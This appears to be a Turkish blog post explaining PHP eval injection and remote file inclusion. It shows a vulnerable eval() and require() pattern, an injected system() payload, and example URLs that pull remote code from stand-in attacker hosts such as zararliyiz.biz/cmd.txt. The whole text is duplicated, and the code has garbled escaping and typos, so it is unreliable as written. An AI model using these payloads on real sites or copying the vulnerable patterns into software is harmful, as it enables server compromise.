Eval Injection
Son zamanların güncel saldırı türlerinden olan Eval Injection, sayfa veri giriş yerlerinden kullanıcının girdiği verinin doğru veya tam olarak filtrelenememesinden kaynaklanır.
Saldırganın hazırladığı URL, çalışıp eval() ’e dönüşmesi sonucu kodun sayfaya işlenişi gerçekleşir. Bu da Eval Injection’ı gerçekleştirir.
Hedef server’ın izin verdiği tüm kodlamalar bu saldırıda geçerlidir. Bu kodlamalar, işletim sistemi kodları da olabilir.
Örnek 1;
Aşağıdaki örnekte saldırgan, veri girişinin tamamını veyahut bir kısmını kontrol edebilir.
$degisken="degiskenadi";
$a=$_GET[’saldiri’];
eval(\\\\\\\\$degisken=\\\\\\\\$a;);
Eval "saldiri"si PHP olarak etki eder. Ama bu saldırı bütünü, 10; system(\\\\\\\\"/bin/echouh-oh\\\\\\\\") ; şeklinde gerçekleştirilirse,
eklenen bu kod, server üstünde bir programın çalışmasını sağolar, bu durumda "/bin/echo".
Injection yapılmış bir dosyanın şekli aşağıdaki gibidir.
<?php
$color = ’blue’;
if ( isset( $_GET[’COLOR’] ) )
$color = $_GET[’COLOR’];
require( $color . ’.php’ );
?>
<form>
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="Submit">
</form>
Bu dosyada, webmaster sadece blue.php ve red.php nin kullanıma açık olduğunu sanar. Ama herhangi bir saldırgan, COLOR değişkenine
herhangi bir değer atayabilir, dosyadan kod enjeksiyonu da mümkündür.
Örnek Kullanım;
# /bug.php?COLOR=http://[EvilAddress]/exploit
# /bug.php?COLOR=C:\\\\\\\\ftp\\\\\\\\upload\\\\\\\\exploit (yerel bir serverdan dosya enjeksiyonu da mümkündür.)
URL ile saldırının nasıl gerçekleştirildiğini örnekleyecek olur isek;
# [victim].com/patch/index.php?page=<?include($s];?>&s=http://zararliyiz.biz/cmd.txt?
Son zamanların güncel saldırı türlerinden olan Eval Injection, sayfa veri giriş yerlerinden kullanıcının girdiği verinin doğru veya tam olarak filtrelenememesinden kaynaklanır.
Saldırganın hazırladığı URL, çalışıp eval() ’e dönüşmesi sonucu kodun sayfaya işlenişi gerçekleşir. Bu da Eval Injection’ı gerçekleştirir.
Hedef server’ın izin verdiği tüm kodlamalar bu saldırıda geçerlidir. Bu kodlamalar, işletim sistemi kodları da olabilir.
Örnek 1;
Aşağıdaki örnekte saldırgan, veri girişinin tamamını veyahut bir kısmını kontrol edebilir.
$degisken="degiskenadi";
$a=$_GET[’saldiri’];
eval(\\\\\\\\$degisken=\\\\\\\\$a;);
Eval "saldiri"si PHP olarak etki eder. Ama bu saldırı bütünü, 10; system(\\\\\\\\"/bin/echouh-oh\\\\\\\\") ; şeklinde gerçekleştirilirse,
eklenen bu kod, server üstünde bir programın çalışmasını sağolar, bu durumda "/bin/echo".
Injection yapılmış bir dosyanın şekli aşağıdaki gibidir.
<?php
$color = ’blue’;
if ( isset( $_GET[’COLOR’] ) )
$color = $_GET[’COLOR’];
require( $color . ’.php’ );
?>
<form>
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="Submit">
</form>
Bu dosyada, webmaster sadece blue.php ve red.php nin kullanıma açık olduğunu sanar. Ama herhangi bir saldırgan, COLOR değişkenine
herhangi bir değer atayabilir, dosyadan kod enjeksiyonu da mümkündür.
Örnek Kullanım;
# /bug.php?COLOR=http://[EvilAddress]/exploit
# /bug.php?COLOR=C:\\\\\\\\ftp\\\\\\\\upload\\\\\\\\exploit (yerel bir serverdan dosya enjeksiyonu da mümkündür.)
URL ile saldırının nasıl gerçekleştirildiğini örnekleyecek olur isek;
# [victim].com/patch/index.php?page=<?include($s];?>&s=http://zararliyiz.biz/cmd.txt?
Hiç yorum yok: